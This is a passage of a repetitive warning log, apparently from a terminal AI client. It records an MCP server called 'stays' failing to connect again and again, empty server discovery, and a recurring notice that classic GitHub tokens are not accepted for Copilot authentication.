'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 12:45:09,481 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 12:45:09,502 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 12:45:09,545 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 12:45:09,571 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 12:45:17,619 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 12:50:24,764 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 12:55:31,908 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 13:00:39,666 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 13:05:47,406 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 13:10:53,945 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 13:16:01,055 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 13:21:09,779 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 13:26:17,855 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 13:31:24,731 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 13:36:31,508 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 13:37:25,418 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 13:37:25,418 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 13:37:27,415 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 13:37:27,445 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 13:37:27,458 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 13:37:27,477 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 13:37:35,087 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 13:42:42,310 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 13:47:50,662 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 13:52:58,647 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 13:58:05,643 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 14:03:13,113 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 14:08:20,109 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 14:09:59,258 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 14:09:59,336 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 14:09:59,373 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 14:09:59,422 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 14:10:06,682 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 14:15:13,421 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 14:20:21,087 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 14:25:29,210 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 14:30:36,959 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 14:35:44,209 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 14:40:52,198 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 14:46:00,436 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 14:47:40,251 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 14:47:40,252 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 14:47:42,270 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 14:47:42,296 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 14:47:42,306 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 14:47:42,338 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 14:47:49,866 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 14:52:57,707 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 14:58:05,867 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 15:03:13,425 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 15:08:20,483 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 15:13:26,852 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 15:18:34,535 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 15:23:41,675 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 15:28:48,473 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 15:33:55,272 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 15:39:03,409 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 15:44:10,551 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 15:49:18,210 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 15:54:25,859 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 15:59:34,100 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 16:04:40,800 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 16:09:48,486 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 16:14:55,382 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 16:17:06,163 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 16:17:06,163 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 16:17:10,212 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 16:17:10,425 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 16:17:10,431 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 16:17:10,629 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 16:17:18,097 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 16:22:25,472 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 16:27:32,749 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 16:32:41,304 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 16:37:48,571 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 16:42:55,509 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 16:48:02,824 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 16:53:11,213 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 16:58:19,280 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 17:03:27,366 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 17:08:33,857 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 17:13:41,099 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 17:18:48,557 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 17:23:55,787 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 17:29:03,336 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 17:34:10,847 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 17:39:18,131 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 17:39:48,163 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 17:39:48,163 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 17:44:25,671 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 17:49:32,739 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 17:54:40,818 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 17:59:47,006 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 18:04:54,791 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 18:10:03,263 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 18:15:10,257 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 18:16:46,311 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 18:16:46,327 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 18:16:46,336 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 18:16:46,361 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 18:16:54,259 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 18:22:00,911 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 18:27:08,153 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 18:32:15,927 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 18:35:26,628 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 18:35:26,662 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 18:35:26,691 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 18:35:26,736 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 18:35:34,884 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 18:40:43,308 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 18:45:51,622 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 18:50:58,971 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 18:51:33,426 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 18:51:33,426 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 18:51:34,944 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 18:51:34,994 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 18:51:35,004 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 18:51:35,023 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 18:51:42,846 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 18:56:50,630 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 19:00:06,104 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 19:00:06,144 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 19:00:06,175 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 19:00:06,247 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 19:00:13,770 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 19:05:21,004 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 19:10:29,210 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 19:15:36,501 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 19:16:24,804 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 19:16:24,881 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 19:16:24,964 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 19:16:25,050 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 19:16:32,795 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 19:21:40,934 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 19:26:49,094 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 19:28:03,779 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 19:28:03,809 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 19:28:03,817 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 19:28:03,831 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 19:28:12,395 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 19:33:20,346 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 19:38:27,315 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 19:40:14,145 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 19:40:14,189 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 19:40:14,236 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 19:40:14,289 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 19:40:21,374 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 19:45:29,187 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 19:50:36,425 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 19:55:43,871 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 20:00:51,555 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 20:05:58,717 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 20:11:05,340 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 20:16:13,307 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 20:20:06,035 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 20:20:06,035 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 20:20:07,850 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 20:20:07,924 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 20:20:07,948 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 20:20:08,066 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 20:20:14,999 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 20:25:22,346 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 20:30:30,788 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 20:35:38,532 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 20:40:45,533 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 20:44:34,921 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 20:44:34,966 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 20:44:34,996 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 20:44:35,014 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 20:44:42,849 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 20:49:49,249 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 20:54:56,912 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 21:00:04,214 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 21:05:11,085 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 21:10:18,963 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 21:15:25,387 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 21:20:32,919 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 21:25:40,479 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 21:30:47,649 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 21:35:55,291 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 21:41:02,390 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 21:46:09,209 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 21:51:15,675 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 21:56:06,990 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 21:56:06,990 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 21:56:08,725 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 21:56:08,757 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 21:56:08,778 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying 